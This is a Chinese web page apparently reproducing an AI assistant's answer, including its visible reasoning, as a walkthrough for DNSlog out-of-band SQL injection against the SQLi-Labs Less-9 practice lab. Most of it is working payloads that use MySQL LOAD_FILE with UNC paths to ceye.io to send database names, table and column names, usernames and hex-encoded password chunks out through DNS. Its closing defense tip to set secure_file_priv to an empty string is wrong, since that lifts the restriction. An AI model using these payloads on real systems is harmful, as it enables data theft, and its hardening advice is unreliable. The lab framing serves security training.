sqlilabs靶场Less9DNSlog外带注入
时间: 2025-07-24 12:35:23 浏览: 12
<think>我们正在处理SQL注入问题,特别是SQLi-Labs靶场的Less9,要求使用DNSlog进行外带注入(Out-of-Band Injection)。根据用户需求,我们需要一个教程。
注意:Less9是一个基于时间的盲注关卡,通常使用时间延迟来判断注入结果,但这里要求使用DNSlog外带注入,这是一种效率更高的方法。
外带注入原理:利用数据库函数触发DNS请求,将查询结果通过域名形式发送到我们控制的DNS服务器,从而在DNS日志中获取数据。
步骤:
1. 准备一个DNSlog平台(如ceye.io),获取一个子域名(例如:xxxx.ceye.io)。
2. 构造SQL注入语句,利用能够触发DNS请求的函数(如MySQL的load_file()函数)将查询结果拼接到域名中。
3. 当数据库执行该语句时,会尝试访问我们构造的域名,从而在DNSlog平台记录下查询结果。
注意:在MySQL中,使用load_file()函数需要满足一些条件(如secure_file_priv设置),但DNSlog外带注入通常利用UNC路径(Windows网络路径)来触发DNS请求,格式为:\\something.domain。在MySQL中,我们可以使用如下构造:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT ...), '.xxxx.ceye.io\\abc'))
因为CONCAT的结果是一个UNC路径,当数据库尝试访问这个路径时,会向域名xxxx.ceye.io发起DNS解析请求,而子域名部分就是我们注入的查询结果。
具体到Less9:
根据SQLi-Labs Less9的源码,我们知道这是一个单引号字符型注入,且无论注入是否成功,页面返回都是相同的(因此是盲注),但我们可以通过外带注入来获取数据。
假设我们已知:
- 数据库类型:MySQL
- 表名和列名:我们需要获取当前数据库名、表名、列名等,但这里我们以获取当前数据库名为例。
步骤详解:
1. 获取DNSlog域名:假设我们使用ceye.io,注册后获取一个域名,例如:abc123.ceye.io。
2. 构造注入语句,将查询结果作为子域名的一部分,触发DNS请求。
注入点位于Less9的id参数,URL为:http://localhost/sqlilabs/Less-9/?id=1'
我们构造的payload如下:
?id=1' and (select load_file(concat('\\\\',(select database()),'.abc123.ceye.io\\abc')))--+
解释:
- 使用单引号闭合前面的单引号,然后使用and连接。
- (select database()) 用于获取当前数据库名。
- concat('\\\\', (select database()), '.abc123.ceye.io\\abc') 将数据库名拼接到子域名中,形成类似:\\security.abc123.ceye.io\abc 的字符串(假设数据库名为security)。
- load_file()函数会尝试读取这个UNC路径,从而触发DNS请求。
- --+ 注释掉后面的语句。
但是,注意:在MySQL中,load_file()函数触发DNS请求需要满足条件,即MySQL服务器有权限进行网络访问,并且secure_file_priv设置允许。在默认情况下,MySQL可能不允许,但SQLi-Labs环境通常配置为允许。
此外,由于Less9是盲注,页面不会返回错误信息,所以我们无法直接看到结果,但我们可以通过DNSlog平台查看是否有新的DNS请求记录。
实际操作:
1. 访问DNSlog平台(如http://ceye.io),获取你的标识符(如abc123.ceye.io)。
2. 构造URL:将上述payload进行URL编码,然后访问。
例如:
http://localhost/sqlilabs/Less-9/?id=1'%20and%20(select%20load_file(concat('\\\\',(select%20database()),'.abc123.ceye.io\\abc')))--+
3. 在DNSlog平台查看记录,如果看到有子域名为你的数据库名的记录(如security.abc123.ceye.io),则注入成功。
注意事项:
- 如果数据库名中包含特殊字符(如-),在域名中是非法的,所以我们需要将查询结果进行编码(如hex编码)。但本例中数据库名通常是字母,可以尝试。
- 如果数据库名中有不允许在域名中出现的字符,我们可以先查询其十六进制形式,然后转换成字符串形式(不带0x)作为子域名。例如:
(select hex(database()))
这样得到的是十六进制字符串,然后我们可以将其作为子域名的一部分。在DNSlog平台收到后,再解码即可。
改进的payload(使用十六进制):
?id=1' and (select load_file(concat('\\\\',(select hex(database())),'.abc123.ceye.io\\abc')))--+
这样,在DNSlog中记录的子域名就是十六进制字符串(如7365637572697479,这是'security'的十六进制),然后我们可以将其转换回字符串。
另外,由于Less9的注入点是一个字符型注入,我们也可以使用其他方式,但这里使用load_file()是常见的。
但是,注意:在MySQL中,load_file()函数在触发DNS请求时,需要将整个UNC路径作为一个字符串,并且注意转义。我们使用四个反斜杠是因为在字符串中两个反斜杠表示一个实际的反斜杠(因为MySQL字符串中的转义),所以四个反斜杠实际上表示两个,而两个反斜杠在UNC路径中表示网络路径的开始。
另外,在Windows系统上,UNC路径是有效的,而在Linux系统上,MySQL可能不会触发DNS请求。但SQLi-Labs通常运行在Windows或配置好的Linux上,且MySQL服务允许网络访问。
如果遇到问题,可以尝试使用其他函数,如使用SMB协议(UNC路径)在Windows上会触发DNS解析。
总结步骤:
1. 注册DNSlog服务(如ceye.io),获取域名。
2. 构造payload,将查询结果拼接到子域名中,使用load_file()函数触发DNS请求。
3. 访问注入URL。
4. 在DNSlog平台查看记录,获取数据。
下面我们给出一个完整的示例:
假设我们想获取当前数据库名的十六进制形式:
payload: ?id=1' and (select load_file(concat('\\\\',(select hex(database())), '.abc123.ceye.io\\abc')))--+
访问URL后,在ceye.io的DNS记录中,我们会看到一条记录,其子域名部分为十六进制字符串。然后我们将其转换为字符串即可得到数据库名。
如果我们要获取其他信息,比如表名,可以修改查询语句。例如,获取security数据库中的第一个表名的十六进制:
(select hex(table_name) from information_schema.tables where table_schema='security' limit 0,1)
注意:由于域名长度限制(每个标签最多63个字符,整个域名最多253个字符),如果查询结果太长,可以分段获取(使用substr等函数)。
例如,分段获取表名:
(select hex(substr(table_name,1,10)) from information_schema.tables where table_schema='security' limit 0,1)
这样每次获取10个字符(转换为十六进制后,每两个字符代表一个原始字符,所以10个字符的字符串会变成20个字符的十六进制字符串),然后多次注入获取完整表名。
因此,整个教程包括:
- 准备DNSlog平台
- 构造注入payload(包括查询语句和拼接)
- 发送请求
- 在DNSlog平台查看结果并解码
注意:实际注入中,我们可能需要尝试不同的位置,因为Less9是单引号字符型注入,且没有错误回显,所以我们的payload必须保证语法正确,否则不会触发DNS请求。
另外,由于Less9的源码中,无论注入是否成功,都返回相同的页面,所以我们需要完全依赖DNSlog的记录。
最后,我们提供参考的引用,其中引用[2]给出了一个类似的例子,但它是直接查询mysql.user表的密码,而我们的例子是查询当前数据库名。</think>### SQLi-Labs Less9 DNSlog 外带注入教程
在 SQLi-Labs 的 Less9(基于时间的盲注)中,使用 DNSlog 进行外带注入可高效获取数据,无需等待时间延迟。以下是详细步骤:
#### 一、准备工作
1. **获取 DNSlog 平台**
注册 [ceye.io](http://ceye.io) 获取子域名(如 `xxxx.ceye.io`),记录 `Identifier` 用于查看日志。
2. **确认注入点**
Less9 是单引号字符型注入,无论注入是否成功都返回相同页面(无报错、无布尔差异),典型负载:
```sql
?id=1' AND sleep(5)--+
```
#### 二、DNSlog 外带注入原理
利用 MySQL 的 `LOAD_FILE()` 函数触发 DNS 请求,将查询结果通过子域名发送到 DNSlog 平台:
```sql
SELECT LOAD_FILE(CONCAT('\\\\',(查询语句),'.xxxx.ceye.io\\abc'))
```
当数据库尝试访问 `\\[数据].xxxx.ceye.io\abc` 时,DNS 查询会被记录。
#### 三、分步注入操作
##### 1. 获取当前数据库名
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxxx.ceye.io\\abc')))--+
```
在 ceye.io 的 DNS 日志中查看记录,子域名部分即为数据库名(如 `security`)。
##### 2. 获取表名
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),'.xxxx.ceye.io\\abc')))--+
```
修改 `LIMIT 0,1` 中的索引遍历所有表(如 `emails`, `users` 等)。
##### 3. 获取列名(以 users 表为例)
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),'.xxxx.ceye.io\\abc')))--+
```
获取列名如 `id`, `username`, `password`。
##### 4. 提取数据(获取 username)
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT username FROM users LIMIT 0,1),'.xxxx.ceye.io\\abc')))--+
```
#### 四、注意事项
1. **特殊字符处理**
若数据含非法域名字符(如 `@`、空格),需先 HEX 编码:
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(username) FROM users LIMIT 0,1),'.xxxx.ceye.io\\abc')))--+
```
将日志中的 HEX 值(如 `44756D62`)解码为原始数据(`Dumb`)。
2. **长度限制**
子域名标签长度 ≤63 字符,超长时需分段获取:
```sql
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT substr(hex(password),1,30) FROM users LIMIT 0,1),'.xxxx.ceye.io\\abc')))--+
```
3. **权限要求**
`LOAD_FILE()` 需满足:
- `secure_file_priv` 不为 `NULL`
- MySQL 服务有网络访问权限
#### 五、防御建议
1. 使用参数化查询
2. 配置 MySQL 的 `secure_file_priv=''`
3. 最小化数据库账户权限
> **操作验证**:执行注入后,在 ceye.io 的 `Records` 页查看 DNS 请求,子域名即携带敏感数据。此方法效率远高于传统时间盲注[^1]。
阅读全文
相关推荐


















